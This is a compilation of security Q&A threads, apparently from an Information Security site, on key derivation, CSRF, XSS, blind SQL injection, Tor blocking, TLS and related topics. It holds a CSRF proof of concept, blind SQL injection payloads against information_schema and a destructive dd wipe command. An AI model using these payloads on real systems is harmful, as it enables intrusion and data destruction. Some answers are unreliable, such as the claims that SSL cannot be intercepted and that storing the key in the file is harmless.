How to combine a key and a password in practice Alice wants to encrypt her data. She is not comfortable with using only a password. While she prefers to use a properly random crypto key, she isn't confident she can protect the key file from theft or loss. So she wants to use both.
Bob proposes that she derive her encryption key EK from her password P and input key IK (the key Alice keeps in a file)
as follows:

EK = HKDF( IK + PBKDF2(P) )

In which + is concatenation, PBKDF2 uses plenty of iterations, and both KDFs use SHA-256 and null salts.
Alice is interested but not yet sold on Bob's proposal. She has two questions:

Wouldn't it be better to use a salt with the KDFs? If so, where to keep it?

Since she needs to back up the file containing IK in a couple of safe places, shouldn't it be encrypted and have an HMAC?

Bob scratches his beard, mutters "good questions". Eventually he says that these two extra steps add complexity to the process that needs to be justified, and asks, "What, if anything, do they add to the security of your data?"
Given Alice's requirements, how would you answer Bob's question question?
(Or is Bob's proposal faulty? (Or perhaps Alice's requirements do not make sense?))

The story continues...
Bob is trying to taking Alice' worries seriously because he knows her government's reputation for brutality and suppression of dissent. So he posts a question to a social Q&A web site called "Information Security" and get's a very through answer from Tom Leek for which is is very grateful. From that answer Bob gleans:

Encrypting IK using another key derived from P does little to make it harder for Alice' wicked government to obtain her plain-text data. Decryption of Alice's data requires IK, P and the encrypted data either way. Adding encryption and authentication could make matters worse if it is not implemented correctly, for example, by exposing side channels.

Using null salt input to PBKDF2 means using an empty string as the salt. This is not the best choice. He decides to use a random value for salt and, for operational convenience, to keep it in the same file as IK.

Authentication of the key file is valuable, even though its encryption is not.

So Bob's revised proposal involves adding an HMAC to IK in the key file beside the salt. Thus the key file looks like:

salt + HMAC + IK

In which HMAC is computed over IK using an authentication key derived from P but different from EK.

If you use PBKDF2 then you are using a salt, because that's how PBKDF2 is defined: it is a function which takes as input a password and a salt. So there is already a salt somewhere. Or else Bob is using a "fixed salt", i.e. not a salt at all, and we can say that Bob is not really running PBKDF2.

Salts need not be secret. Their virtue is in being unique (as much as possible).

Salts are part of password hashing functions, and they are good to thwart cost-sharing when the hashed secret value can be realistically broken with brute force; i.e., when the secret is a password. There is no need for a salt, or, for that matter, for lots of iterations, when processing keys which are not passwords. When someone deals with a key that is stored in a file, it is assumed that the key is large enough and generated with a strong enough PRNG that brute force is no longer an issue.

Therefore: there is already a salt for the PBKDF2, it must already be stored "somewhere" (not necessarily with any kind of confidentiality). There is no need for any other salt here.

As for the other question: if the places where Alice stores her key are safe, then why would she need extra protection ? That's the point of safe places: they are safe.

Alice wants to encrypt her data because she fears that the storage and transport mediums to which the data will be entrusted may come under the eyes of people who are interested in the data, but should not be able to see it. (At least that's the rational reason why Alice's data should be encrypted. It is possible that Alice wants to encrypt the data because she has an "encryption system" budget line to be spent before the end of the current fiscal year.) Encryption will maintain the confidentiality of the data as long as only Alice can perform the decryption.

A password is tied to Alice by being stored in Alice's brain. The key file is tied to Alice because it is stored in "safe places" that only Alice can access. Both cases can be deemed "slightly vulnerable" because:

A password that fits in a human brain can usually be recovered through a dictionary attack (because human brains are not good at remembering arbitrary bits, and they are extremely bad at making truly random choices).
A key file exists as a file on some physical object, and ensuring the physical security of an object on a 24/7 basis can be challenging (at least Alice cannot help but bringing her brain with her at all times).

Combining the two kinds of secrets for a single encryption is akin to two-factor authentication.

Further encryption of the key file raises the question of: encrypting, yeah, but with what key ? If Alice wants to do password-based encryption of her key file, then we are back to Alice's brain, whereas the point of using a key file was, indeed, not to rely on Alice's brain.

On a generic basis, all applications of encryption should include checked integrity. This is because the "passive-only" attacker model is almost never realistic. Most attackers who are in position to eavesdrop on data (and we encrypt because we think it possible) are also naturally able to alter the data.

Combining encryption and MAC properly is hard. The proper way is not to slap together some block cipher with HMAC in a semi-haphazard way; instead, use an authenticated encryption mode which does the job (e.g. GCM).

As for the details: there are many ways to "process" a key file and a password together into some secret value amenable to use as a symmetric key for encryption. The password part is best done with a dedicated password hashing algorithm, specially designed and reviewed to do get the most protection against dictionary attacks. PBKDF2 is not bad, although bcrypt is arguably better; and cryptographers are working on even better functions.

Using concatenation of the key file and the PBKDF2 output, as input to HKDF, relies on properties of HKDF which are not easy to spell out in all their mathematical glory, but are likely achieved by HKDF (this is a good choice).

The real key to understanding the situation is right there in your first paragraph: Alice is not comfortable with using only a password. The protocol suggested by Bob is not aimed at actually "increasing security"; the real goal is to allow Alice to relax. Therefore, what must be done is: whatever it takes to appease Alice's paranoia. If Alice wants to pile encryption upon encryption, and needs a tower of nested complexity to be relieved of her worries, then so be it. That's her data after all.


Android access tokens and access to all Google services My question is based on the answer on that question:
Can the Gmail password be recovered from the Android Gmail app?

So, as I understand when we setup Google account on Android devices, it stores just token for it. But do Google restrict access to own services for that token? As I know after we setted up credentials on device, we can use a lot of Google applications within the same token, like Gmail, Google Plus, Youtube, Google Calendar, Play Store, Chrome, etc.
And also chrome also will be authenticated within this token for web surfing.

So, does it mean that if someone steals that token, we can do all these operations manually?

I know, if we use Google OAuth for some permissions, created token will be restricted just to permissions that we asked for.
But does Android acquires like mighty token that works for all Google services?

Google uses an OAuth bearer-token to authenticate applications to backed resources.  The user still has to type in the username and password to obtain this token.

So can an attacker hijack the token?  Yes, if an attacker has rooted a victim's phone they can read any secret on the device.  So an attacker can obtain the authentication token from a Google app using a debugger (or other method), and then gain authorized access to a Google service from the phone...  So keep your system updated.

Attacks against similar mobile auth tokens can result by accidentally logging the token.  This is a pretty common vulnerability,  but Google would not make this mistake.  (Google has security problems,  and the bug bounty program has treated me well.)


Are DVDs vulnerable to firmware malware (and assorted questions)? I have a few questions about DVD drives.

Are DVD drives and SATA interfaces vulnerable to issues like BadUSB caused by being able to reprogram firmware of the drive or disk or even spreading to other hardware such as NIC, RAM, CPU, BIOS once infected?
Do DVDs have any sector like MBR or GPT that can be programmed to give commands, have access to the kernel, core file system which could be exploited to hack within the instant the disc is loaded?
Would a strong anti-virus/firewall protect against any hardware-based live attacks, such as BadUSB, or if inserting a disk, can the DVD drive be hacked?
Would it be possible for DVD/CD to have TDSS-like stealth hidden file-system? Do blank CDs/DVDs from reputable companies like Sony, Verbatim, Mosaerbaer have encrypted firmware?

You have quite a few different questions in here. Let's try to answer them.

Are DVD drives & SATA infrastructure vulnerable like badusb

The SATA protocol is used exclusively for storage, not any other class like a keyboard.
"BadUSB" is a class of frankly overhyped attacks that involve a USB devices acting as a Human Interface Device (HID) like a mouse or keyboard and interacting with the computer. This is possible because the USB protocol is designed to be, well, universal. It's up to the USB slave to provide its purpose to the host, called the class. As such, a flash drive will expose itself as a mass storage device, whereas a keyboard will expose itself as a HID. The problem stems from the fact that a flash drive, if reprogrammed or designed maliciously, can tell the host it is a HID and the host will happily accept keystrokes from it. This is not an issue with SATA because it is designed exclusively for data transfer. A SATA device cannot tell the host that it is a keyboard.

or even spreading to other hardware such as NIC, RAM, CPU, BIOS once infected?

DVD/CD goes over SATA, which does not have (arbitrary) DMA capabilities.
This would require a DMA attack, which requires a feature on the PCI bus called bus master, a PCI configuration bit, set through privileged software on the host and stored in registers on the device. A hardware driver can enable the bus master bit for a given PCI device, allowing it to access any system memory it wants, and that is the case with the SATA hub. However, a DVD player does not control the SATA hub directly, but rather communicates with it. The limitations of the SATA protocol affect how dangerous such a drive can be, and since SATA requires driver support for performing arbitrary DMA on behalf of the client, a malicious DVD drive cannot write to arbitrary memory without it being allowed by the driver. What happens is, the SATA client (the DVD drive) communicates over the link to the SATA hub (built into the ICH on modern systems), giving it the data the host requested. The hub, which is a virtual PCI device, then uses DMA (usually called UDMA for mass storage devices) to write the data to the host. The client usually cannot tell the hub where it wants the data written, only what the data to write.
Note that it may be possible in some circumstances for a client SATA device to DMA directly onto the host, according to section 10.3.7 of the SATA standard. Whether or not a given driver allows this or not, your system's I/OMMU should, with proper DMAR tables in your BIOS, isolate this DMA.

Do DVDs have any sector like MBR or GPT that can be programmed to give commands, have access to the kernel, core file system which could be exploited to hack within the instant the disc is loaded?

Any partition can contain a MBR/GPT, but you have to boot from it for it to do anything.
MBR and GPT are features of any bootable partition, regardless of medium. MBR is just a bit of data (a flat executable and the partition table) that fits on the first 512 byte sector of a bootable partition and nothing more. If you were to use a DVD with a bootable partition, it could have an MBR that behaves like this, but this is not present on the average DVD and you would have to boot from it for it to have any effect anyway. Disable booting from the DVD drive in your BIOS to be sure!

Also, would a strong anti-virus/ firewall protect against any hardware-based live attacks, such as badusb, or if an inserted a disk, DVD drive can be hacked?

Antivirus programs only scan files, not hardware. Firewalls only restrict the network.
No. Antivirus is designed for scanning malicious files, and it has two modes of operation. First, it can do signature-based detection where it looks for known strings in files that are unique to malware. This is very fast and tends not to have false positives but it is easy to defeat (just modify the malware slightly) and requires foreknowledge of the malicious software. The second technique is heuristic detection, where a set of "sketchy" actions by an executable are flagged. For example, if an executable uses internal encryption, and immediately after being opened it downloads another executable from the internet and sets the hidden flag on that file, those red flags all add up and antivirus software will block the action. This is slower and tends to result in false positives, but it can detect (at least a fraction of) unknown malware. While it is more effective at detecting new malware than signature-based detection, it can be evaded. Antivirus does not even consider hardware attacks as part of their threat model. As for a firewall, they are just for restricting networking access, not detecting malware. Firewalls are a completely different technology.

Would it be possible for DVD/CD to have TDSS-like stealth hidden file-system?

A DVD does not have any filesystem. It is up to the OS to format it with a filesystem.
A DVD/CD is just a blank medium. In theory, a specially designed DVD drive and a specially designed DVD could store a secondary, hidden filesystem, but this does not happen in practice. When using a regular DVD drive, it's up to the OS to format the disc with whatever filesystem provides the necessary features. The normal format for storage DVDs is usually iso9660 or UDF, and they do not support hidden filesystems.

Do blank CD's/ DVD's from reputable companies like Sony, Verbatim, Mosaerbaer have encrypted firmware?

The actual discs are just a dumb medium for data storage with no firmware.
DVDs themselves do not contain firmware anymore than the physical platters in a hard drive contain firmware. They are just "dumb" discs with a special design that allows one or more layers of a substance to change reflectivity when hit with a strong enough beam. DVD drives have firmware, however, and it can only be updated using special privileged commands on the host. I am not aware of any DVD drives which allow firmware updates directly from discs (though they might exist). Whether or not it is encrypted, I don't know, but I would guess that it is not and is instead obfuscated/encoded. It most likely uses something simple like huffman encoding which can be broken with enough time and effort. The reverse engineering would be the real challenge, though.
I should note that a malicious DVD drive may be able to do some nasty things, such as modifying data before giving it to you. If you execute a file off a DVD and the drive is malicious, it can give you a malicious file, same way a router could if you downloaded an executable from the network. A SATA device is nothing more than a small computer with huge storage serving requests over a high-bandwidth, low-latency network. Treat it as such.


Is xhr.withCredentials making POST endpoints vulnerable to CSRF? From what I've seen, someone can add the following code to a malicious site (lets say: http://sth.malicioussite.com) and be able to perform ajax post requests to a 3rd party site, along with any cookies set before:

var xhr = new XMLHttpRequest();
xhr.open("POST", "http://mysite.vulnerablesite.com/mysite/deleteUser");
xhr.withCredentials=true;
xhr.send(["userId=5"]);

If you test this on a browser, you will get an error on the console ( Cross-Origin Request Blocked), but the request will actually be sent. What you are not allowed is just to see the result of the request.

If this is not a problem of the spec, or a chromium/firefox implementation issue, then what should be the protection from such attacks?

You don't need an AJAX request, the standard approach to exploit this issue would be:

<form id="myform" method="post" action="http://mysite.vulnerablesite.com/mysite/deleteUser" >
    <input type="hidden" name="userId" value="5">
</form>
<script>document.createElement('form').submit.call(document.getElementById('myform'));</script>

You can also send JSON formatted values (use enctype="text/plain"). You cannot however change the Content-type header to JSON or add a custom header like x-requested-with: XMLHttpRequest. The thing is, you can't do that with your AJAX example either.

In your example, the browser sees that you are sending a request that is perfectly allowed, so it doesn't ask the receiving server for its CORS policy (thus saving a request). It just sends the request and - depending on the response - allows or disallows reading of the response.

Now, if you were to add a custom header like xhr.setRequestHeader("x-requested-with", "XMLHttpRequest"), then you are asking the browser to do something which may violate the cross origin policy. Now, the browser will first issue a preflight OPTIONS request. If it is allowed to perform a request it will do so, otherwise it will not.

To prevent CSRF, you should use some token based defense. Because of the way CORS works, you could also check the presence of special HTTP header like XMLHttpRequest for a less secure CSRF protection.


How secure is Android's facial recognition? Android supports using facial recognition for unlocking your phone.  How secure is that mechanism?

For instance, if someone has a good quality picture of your face, can they defeat the facial recognition scheme by holding up the picture to the phone?  Does the Android mechanism include any method of testing "liveness" (i.e., that there is a live person present, not just a picture of the person)?

I remember seeing a rump session talk that described an attack on the Android facial recognition unlock.  The attack worked by starting a picture of the user's face.  Then they made a copy of the picture and used Paint to alter it so the user's eyes appeared to be closed (by painting skin color over the eyes to simulate eyelids closed).  Finally, they displayed these images on a computer screen, alternating between them in a sequence designed to look like the person was blinking, and pointed the phone at the computer screen.  If I understand correctly, this was intended to defeat some liveness test (where the phone detects liveness based upon blinking).  The speakers claimed that this attack worked, but I don't remember any more details.  Does this attack still work (if it ever did) on Android phones?  Or, are there other known attacks?

Here's what I've read so far.  Ice Cream Sandwich (Android 4.0) introduced FaceLock.  Jelly Bean (Android 4.1.1) introduced a "Liveness Check", which checks for your eyes to blink.  I've found claims that without Liveness Check, FaceLook can be bypassed by holding up a static picture and that the Liveness Check can be defeated through the trick outlined above.  (Here's a video showing the attack.)  Does this still work?  Are there any other threats to be worried about?

You've already done enough research to see that facial recognition on android is easily circumvented. I've read (although I cannot find the link now) that researchers were able to defeat it by using picture of a similar looking person, not even the actual person. When you think about it expecting facial recognition to work on a device with limited resources, and when it's expected to work in a fraction of a second, is a tall order. I'm sure it will eventually get there, but for now it isn't strong.

I do think that before you rule it out completely you should consider what it is you are trying to protect. Most phones are stolen for the express purpose of being sold on the black market and not for the information on them. Most get wiped without anyone even attempting to get data off them. Given that a thief would need to somehow obtain a quality picture of their victim in the correct pose in order to be able to unlock the phone it seems likely that facial recognition would be "good enough" security for many people as it raises the difficulty bar sufficiently.

If an attacker really wants access to someone's phone and has the time and resources to get a picture of the owner, facial recognition isn't going to prevent access. So if you have information on your phone that someone would really want, or have a duty of care to protect the information on it then don't use facial recognition. If your phone has nothing of interest then why not use it?


Securely erasing USB flash drives from a bootable media My question refers to securely erasing viruses from the usb flash drives, including the MBR, in case there is one.

I was thinking of booting with Linux from a closed CD-R
(a cd rather than USB flash drive because of the possibility of a virus jumping from one drive onto another AND bootable in order to prevent the virus from infecting the OS)....

.... and using the terminal to do so with this the disk erasure command:

dd if=/dev/zero of=/dev/sdX bs=4096

Should that be erasing all of the sectors from the flash drive?

That will do the trick just fine if you just want the data unreadable by connecting the drive to a computer (an alternative to your command is to use shred : shred -n 1 -v /dev/sdX).

What's more problematic is that data may still be readable by extracting the flash chips, dumping them and then reconstructing the partition layout (not the partition table your PC sees, but the raw table the drive's controller uses for wear leveling).

On a flash disk simply overwriting the data multiple times doesn't have any effect because the internal wear leveling mechanics don't guarantee that the data you overwrite it with will end up on the same physical block of the flash device.

One solution would be to use the secure erase command supported by some SSDs (sadly I don't think it's supported for USB flash drives) and even then, nothing guarantees that the manufacturer correctly implemented the command.

Another solution I thought about would be to overwrite the drive a lot of times (write 10x its capacity), so that even if wear leveling mechanics come into play each block of the flash device will be overwritten at least one time; but that would wear out the device quite a lot and may even kill it.

Until the secure erase command is guaranteed to be reliable, the best solution for secure data destruction is this.


Are internal patient identifiers considered PHI under HIPAA? We use GUIDs to internally to identify patients in our system. I'm having a debate with our regulatory people on whether these identifiers can be used in query strings to REST calls.

They are claiming any patient identifier becomes PHI once exposed outside of the system. I'm arguing that in order to map this identifier into PHI, you either need access to the data store or you need to have a valid log in to the system and access controls are in place.

For parties not having access to the data store and not having a valid login, the retrieval of PHI is not possible (barring a security breach).

Does anyone have experience with this? Are internally used identifiers considered PHI under HIPAA? Can anyone point me to the appropriate section in the law?

PHI means having any piece of identifying information linked with any type of clinical data -- e.g. a diagnosis, CPT code, etc.

Therefore, an internal patient identifier on its own is not considered PHI.  The release of a simple internal identifier is not a breach, nor is it in violation of any HIPAA regulations I am aware of.

Once that identifier can be used by a non-authorized party to identify the person in question; then we have an issue.

However, best practices would dictate that you secure these identifiers the same way as other data in the database.   There may be changes in HIPAA regulations at some point that deprecate this practice.  I would either ensure that the REST Query is from a secure, trusted system; or find another way to query this information in order to avoid later compliance headaches.

You can read the full text of the sections I'm interpreting here:
https://www.hipaa.com/hipaa-protected-health-information-what-does-phi-include/


Securing my firewall (both dedicated and iptables-based) I have an ASA-5510, but I also intend to maintain strict IP tables on my server (Ubuntu 12.04.2), so that there are two layers of "protection".

My iptables look like this:

*filter

#  Allows all loopback (lo0) traffic and drop all traffic to 127/8 that doesn't use lo0
-A INPUT -i lo -j ACCEPT
-A INPUT ! -i lo -d 127.0.0.0/8 -j REJECT

#  Accepts all established inbound connections
-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

#  Allows all outbound traffic
-A OUTPUT -j ACCEPT

# Allows HTTP and HTTPS connections from anywhere
-A INPUT -p tcp --dport 80 -j ACCEPT
-A INPUT -p tcp --dport 443 -j ACCEPT

#  Allows SSH connections on port 22
-A INPUT -p tcp -m state --state NEW --dport 22 -j ACCEPT

# Allow ping
-A INPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT

# log iptables denied calls
-A INPUT -m limit --limit 5/min -j LOG --log-prefix "iptables denied: " --log-level 7

# Reject all other inbound - default deny unless explicitly allowed policy
-A INPUT -j REJECT
-A FORWARD -j REJECT

COMMIT

Note, take the comments with a grain of salt, since they might be wrong.

My firewall will only allow traffic on 80/443, except when I VPN into my private network (which will give me access to 22).

Are there any things that concern you about these iptables rules?
Can my ASA-5510 likely provide more comprehensive protection then these rules?
Given a secure firewall, what are the most obvious/common attack vectors that remain (aside from DoS and application layer security - I'm primarily concerned with a lower-level breach)? I ask because it seems like no matter what you do, somebody will find a way in, and I'm curious to know what some of those ways might likely stem from.

Your iptables rules look generally fine to me, although I cannot spot how you are enforcing 22 from the VPN only (unless you have configured sshd to only listen on the VPN IP, which should be ok).

Also you can use POLICY (-P) rather than your bottom two rules, but either should be fine.


XSS attack vector without forward slash? is there an XSS attack vector that allows the inclusion of a external .js file without having to use forward slashes?

let's say the path of the file is somewebsite.com/js/xss.js

Is there a way to pass it to a parameter that it works and without it containing forward slashes

An example that wouldn't work is:
<script src='//somewebsite.com/js/xss.js'>
This works nice because I don't have to close the tag but it also doesn't work due to the fact that I have to use forward slashes to navigate to the JS file

You can always use character references:


How to best authenticate a desktop client with a scaleable backend via SOAP / REST service? I'm trying to find a solid architecture for authenticating users against a database. I have a game client, which I plan to serve up a request with. The transport doesn't really matter, but at this point I'm thinking http and leveraging either SSL or ws-security to ensure the encryption of data over the wire.

I'd like to avoid middle-man attacks if possible so I'm leaning towards ws-security even though I know it costs more overhead.

On the service side, I'd like to use an authentication framework such as - http://shiro.apache.org/index.html - to authenticate users against a mysql database. I'm not sure if I can leverage the session features or not, as I haven't looked that for into it, but it'd be great if I could.

It will probably be a mix of storing some session information in the database and if I can leverage Shiro's session features then that's a bonus.

My real question is the handshake between the client and server. If I use ws-security isn't all that taken care of for me? Does that alone make the overhead worth it?

If not, what should I do here? I want to make sure all of the requests from the client are authenticated but I also don't want to have to jump through hoops to make it happen. Would something as simple as http digest authentication work here?

One constraint I have is access to libraries. If it's not free and can't be used in a commercial product then I can't leverage it. My client is going to be written in C++ and I can use whatever language makes it easiest (I'm leaning towards java) to make it happen on the server side.

I plan on adding support for users to purchase in-game items through micropayments down the road, so this handshake mechanism definitely needs to be secure.

I keep hearing people suggest REST + SSL, and to examine amazon's http://docs.amazonwebservices.com/AmazonS3/latest/dev/RESTAuthentication.html

Is that a viable alternative? If I used that + something like Apache Shiro would I have a winner?

Whatever I use, it needs to be scalable as the system will grow with users / volume of requests over time.

SSL is not vulnerable to MITM, unless the client machine has malicious root CA certificates installed (in which case you can't do anything at all as you might as well assume that the entire client is compromised). If you get a certificate from a proper CA like Verisign you will be assured that any communications with your server will be secure (except in academic situations like quantum computing). If you use an encrypted channel during the authentication phase you can use whatever serialization/communication paradigm you want (REST, Protobuf, etc.).

In other words all you need to do at the end of the day is make sure that the passwords are salted and hashed in your DB, preferably double-salted so that your client 'remember password' functionality can store a salted hash on the hard-drive; instead of a clear-text password.

Alternatively you could look into:

SRP which doesn't need to occur over a secure medium.
Mutually-authenticated TLS/SSL (using a client certificate). The nice thing with this is that it enables offline (LAN) scenarios as clients can authenticate with each-other without the presence of your authentication server.

WS-Security is primarily geared toward federated services, i.e. cross-enterprise, (as are most of the WS-I extensions) - which is probably not a concern for you. At any rate the WS-Security has the associated overhead of SOAP (and the underlying frameworks/marshalling needed to handle SOAP calls). SOAP is a very heavy protocol and is probably an very poor choice for game development. I would avoid this entirely.


Are there any risks with prepopulating a username from a querystring on a login page? So, we've got a fairly standard login page on a web application.

We want to make a slight change so that if a user gets their password wrong, the page reloads (as it currently does) but the username is kept so the user doesn't need to enter it again.

The easiest way for us to do this is just put the username in the querystring, and bind that to the username input.

Are there any risks associated with this approach?

I've been thinking it through, and I can't think of how it could be exploited (except for a modified URL being sent to users that prepopulate with a different user's username, but even still, I can't see how that could be exploited further).

The only security issue I can see with this is that you will have your usernames appear in all sorts of logs and in your users browser history. For most applications, that wouldn't really be a problem though.

Also, you might want to opt out from sending referer headers from the login page. Otherwise, if you link to external sites you could leak usernames to them. As a user, I do not want site A to know who I am on site B.

As Mathew points out, all the usual consideration when handling untrusted data applies - so you need to think about XSS etc.

(If this is a good way to do it with ASP.NET is a separate issue that I don't know the answer to.)


Is it secure to use pbkdf2 for both password hashing and key generation I'm writing a password manager, right now for each individual site, I already used master password + random salt with PBKDF2 to generate encryption key to encrypt its password (each site has its own salt).

Is it still secure to use master password + another random salt with PBKDF2 to generate hash for master password (this hash will be store in DB for user authentication)? Or should I use a hashing algorithm like SHA-256?

Since PBKDF2 could be use to generate as much bytes as you want/need, you can of course use it for both master password hashing and key generation. You don't even need to use different salt, just generate a n bytes hash, then generate n+m bytes, discard the first n bytes and use the other m bytes as key.


Does SNI have any benefit when doing fingerprint validation instead of using the common name? Does using SNI have any benefit whatsoever (whether security, scalability, or otherwise) if the TLS certificate validation is performed exclusively using the certificate fingerprint and without regard to the common name?  (Examples of systems where this might plausibly be the case include DANE and Convergence.)  Even weird benefits that only affect small niche use cases qualify as benefits.

I'm assuming that 100% of visitors will be using fingerprint validation of certificates, so backward-compatibility with common name validation is not a factor.

My motivation for eliminating SNI is that it leaks metadata to a passive eavesdropper.  While this is not necessarily a big deal in most cases, it bothers me enough that if it has no benefit in the system I'm describing, I would remove it.

(Edited response since you are not confusing SAN and SNI):

With SNI the client sends the expected hostname within the ClientHello. This is necessary if you have multiple certificates behind the same IP address. It does not matter if you validate the certificates the usual way or if you verify it by fingerprint - the only question is if you have a single certificate on the IP (no SNI needed) or multiple certificates (SNI needed).

If the server is under your control and your application should only connect to your server, then a single certificate is enough, so no SNI is needed. But, if you use a CDN then you often have multiple certificates behind the same IP and the relation between the actual server/IP and the hosted certificates might change over time. In this case it is not enough to identify the server as owned by the CDN, but you have to make sure that your certificate is located on the server and you have to tell the server to use the configuration behind the certificate. In this case you need SNI.

And, while the Host header inside an HTTP request also specifies the requested hostname, this is only a property of HTTP (and it is not even required with HTTP/1.0). With protocols like SMTP you don't have such information but SNI is still used with these protocols on the client side (postfix, exim) and also the server side (exim).


Windows mandatory access control: How to remove “mandatory level” label from the file? 1) How to remove "mandatory level" label from the file?

I have two files, for the first one icacls returns

Mandatory Label\Medium Mandatory Level:(NW)

for the second icacls doesn't return anything (that means use "default")

My problem is that

icacls /setintegritylevel [(CI)(OI)]Level

can only set level label, when I need to remove it..

2) What are other methods (GUI/utilities) to manipulate file's mandatory level labels?

I  found this tool:

http://www.minasi.com/apps/

chml filename -rl

remove mandatory level


WiFi Network Whitelisting? At school we have a school-wide LAN network. It connects all the wireless devices to the internet. I've gotten the wireless pass code and have successfully connected to the network, yet I can't use the internet. I assume there is a list of whitelisted MAC addresses on the network that gives only whitelisted devices access. If that's the case, if I'm not whitelisted, can I still access other computers on the LAN?

The school network administrator could limit the access to Internet through the following ways (depending on the network devices):

MAC Address filter (White/Black list) - Not very efficient though since a MAC address can be easily spoofed.
Scheduled time - Only within a certain time frame the connection to the Internet is allowed
URL Blocking (White/Black list)  - Just some certain URLs can be accessed
Second authentication - Which could be based on credentials such as your enrolment number and a password.
NAC - Network access control limits the connectivity to a Network for example if you don't have a software agent installed to authenticate to a Radius server.

  Can I still access other computers on the LAN?

It depends if the DHCP server granted you a valid network IP address. Check if via ipconfig Windows or ifconfig Linux. If the address starts with 169.254... it means you got a so called Link-local address and cannot interact with the other computers within the network.


What protocol is NPS server using to send Secondary Auth to Azure MFA? We are using PAP to pass data between our on-prem VMware and on-prem NPS server. But our on-prem NPS Server passes data to Azure MFA in the cloud. I want to ensure a stronger protocol than PAP is being used to pass data from NPS server to Azure MFA in the cloud, but I'm struggling to find an answer to what protocol is being used in this scenario.

When setting up the NPS connector a PowerShell script has to be run. This PowerShell script sets up an authentication method using X.509 certificates. PAP is not passed from the NPS server to Azure cloud.


How would a resourceful government block Tor? I came across this article saying that after the November 2015 Paris attacks, some French police officers proposed to ban Tor.

Tor is used to circumvent censorship! What security techniques would governments use to block Tor?

Tor is used to circumvent censorship!

No, not directly. Tor is about anonymity, not about availability. Tor alone does not help its users access blocked content. Tor helps by making it hard to link clients with site visits, so that people can publish or read content without being identified. It's used to avoid being caught in relation to banned content, not directly to spread banned content.

A government that controls all the network equipment of ISPs in the country can decide which websites and services residents are allowed to access, and can know who is accessing what. If someone is using Tor, their computer makes connections to hosts that offer Tor services (Tor relays). The ISP-level filter can detect whether the target of the connection is a Tor relay and deny it if it is.

A tool that directly helps circumvent censorship is a VPN. The ISP-level filter can block connections to a VPN, but only if it knows that the service is a VPN. Tor relays are for the most part public and have to be part of a heavy infrastructure (they have to be known from other Tor known). On the contrary, a VPN operates on its own, so it's very easy to create new ones: blocking VPN altogether is practically impossible (blocking all encrypted protocols does block most common VPN, but it's still possible to make a low-bandwidth VPN using steganography if nothing else).

VPN and Tor can of course be combined (and frequently are). An ISP can block direct use of Tor, but cannot block the use of Tor through VPNs. There even exist VPN-like services specialized to use Tor: Tor bridges. There's an arms race here where the ISP/government can block Tor bridges as they discover them, but new bridges can pop up easily.

  France is going to ban Tor

No, that's not what the original article says and that's not what the THN article says either. The original article says that the police administration (not the goverment) has requested a huge array of measures of varying realism, including banning Tor. Even the article you cite claims that this request is a legislation proposal (which it isn't yet), not a law about to take effect.


Weird condition in blind SQL injection point, substr() is valid for exactly two chars I'm exploiting a blind SQL injection point, which takes a variable as username then check if the username exists in a table.

(It's running MySQL 5.X with PHP)

So I'm using this to retrieve all databases:

valid_user_name' and (
    SELECT substr(hex(schema_name), 8, 1)
    FROM information_schema.schemata
    WHERE schema_name not in ('performance_schema','mysql','information_schema')
    ORDER BY schema_name limit 0, 1) = '9' #

The first database name is radius, so the 8th char of hex('radius') is '9'.
With the input above the web page shows the user exist.

But when I provide character '7' it also shows the user exist.

All the rest do not show so.

Anyone know why?

P.S You might thought the injection point is a false positive, but it's not.
I have confirmed that with SQLmap.

It seems like there's something strange going on in the way you are iterating through the comparisons.

The thing that makes me raise my eyebrows when I look at this is that you are comparing hex values 1 byte at a time. This is technically okay but it will be harder to reconstruct the table names afterward.

So, breaking it down:

You know you have a target table name of 'radius'
The ASCII hex value of that string that is generated by hex() is "726164697573"

Comparing the strings should be done like this:

r  a  d  i  u  s
72 61 64 69 75 73

You want to be comparing those hex values 2 bytes at a time:

valid_user_name' and (
    SELECT substr(hex(schema_name), 7, 2)
    FROM information_schema.schemata
    WHERE schema_name not in ('performance_schema','mysql','information_schema')
    ORDER BY schema_name limit 0, 1) = '69' #

My guess is that there is an error in your iteration code that is either related to the 1-byte comparison, some kind of off-by-one error, or a combination of both.


Using certificates to secure I'm working on an application that comprises of a C# WebAPI (on Azure Websites) and a native mobile app. Essentially, a client creates a series of messages using a Web interface and these can be browsed on the mobile app. At present, there is no restriction on this data.

A new feature requires that some clients can secure their data, so only authorized people are allowed access. We don't want to use a username/password as the overhead would be too great. Our clients could have hundreds or thousands of people who want to browse their messages.

My approach was going to be:

User creates a service using our web portal.
User uploads a public key into this service, which we store.
User distributes the corresponding private key using an MDM to all devices that wish to browse the messages.
HTTP requests for these messages require the certificate to be presented.
The API validate the request using the public key.

There are two things that are bugging me.

We won't be using a CA to verify the cert chain. The client's certificates could be self signed. I don't see this as being a big issue since we know who our clients are.

Having the private key distributed on lots of devices could be considered a bad thing, though I believe this scenario is pretty common e.g. authenticating to MS Exchange. Responsibility for securing the private key would reside with the client.

So, to my question: Does this approach appear sound?

Additionally, Azure Websites only supports an on/off configuration of client certificates, making it impossible to mix both public and private calls. Would having two endpoints be considering good practice e.g.

https://public-messages.azurewebsites.net
https://private-messages.azurewebsites.net

It would require intelligence in the app's to know where to go, but it would make configuration of the apps much easier since they either have the client certificate or they don't.

My bonus question: Is using two endpoints a common practice?

Private keys should exist only in one place. If you distribute the private key to "authorized users", then the "authorized users" have all access of the original, and cannot be revoked.

The correct method would be:

All devices share their public key, never their private key.
The public key is approved by the account holder.
Any changes logged should include the public key that was used, including the above approval process.
If you want data to be shared between nodes, but not let the server/a hacker have access to it, generate a random key, encrypt the piece of data with the random key, and store it; then, encrypt the random key with each public key in turn, and store those. Then throw away the random key. Each authorized user can grab the encrypted random key, decrypt it with their private key to get the random key, and use that to unencrypt the data.


How can I safely include the encryption key in the encrypted file? I am encrypting text files using AES256 (no particular reason, that can easily be changed). Before granting access to a file, I need to verify if a party knows the correct key, but without necessarily having direct access to the system's keyring (for instance, a file could be moved between different machines).

I thought of doing the following: before encryption I write the key on the first line of the file. Upon decryption I compare the key that is supplied by a user with the first line of the file decrypted using that same key. If they match it means that the user is authorized and I return the file minus the first line.

This can only be less safe than not including the key! But how much?

If you have a good encryption algorithm, it shouldn't matter that you include the encryption key. However, better than storing the password itself you better store a salted hash. Or just a truncated version of it (the basis being that a user error is unlikely to mistype one of the very few colliding passwords, while a brute-force attack would not be able to use it for knowing for sure that it got the right password).

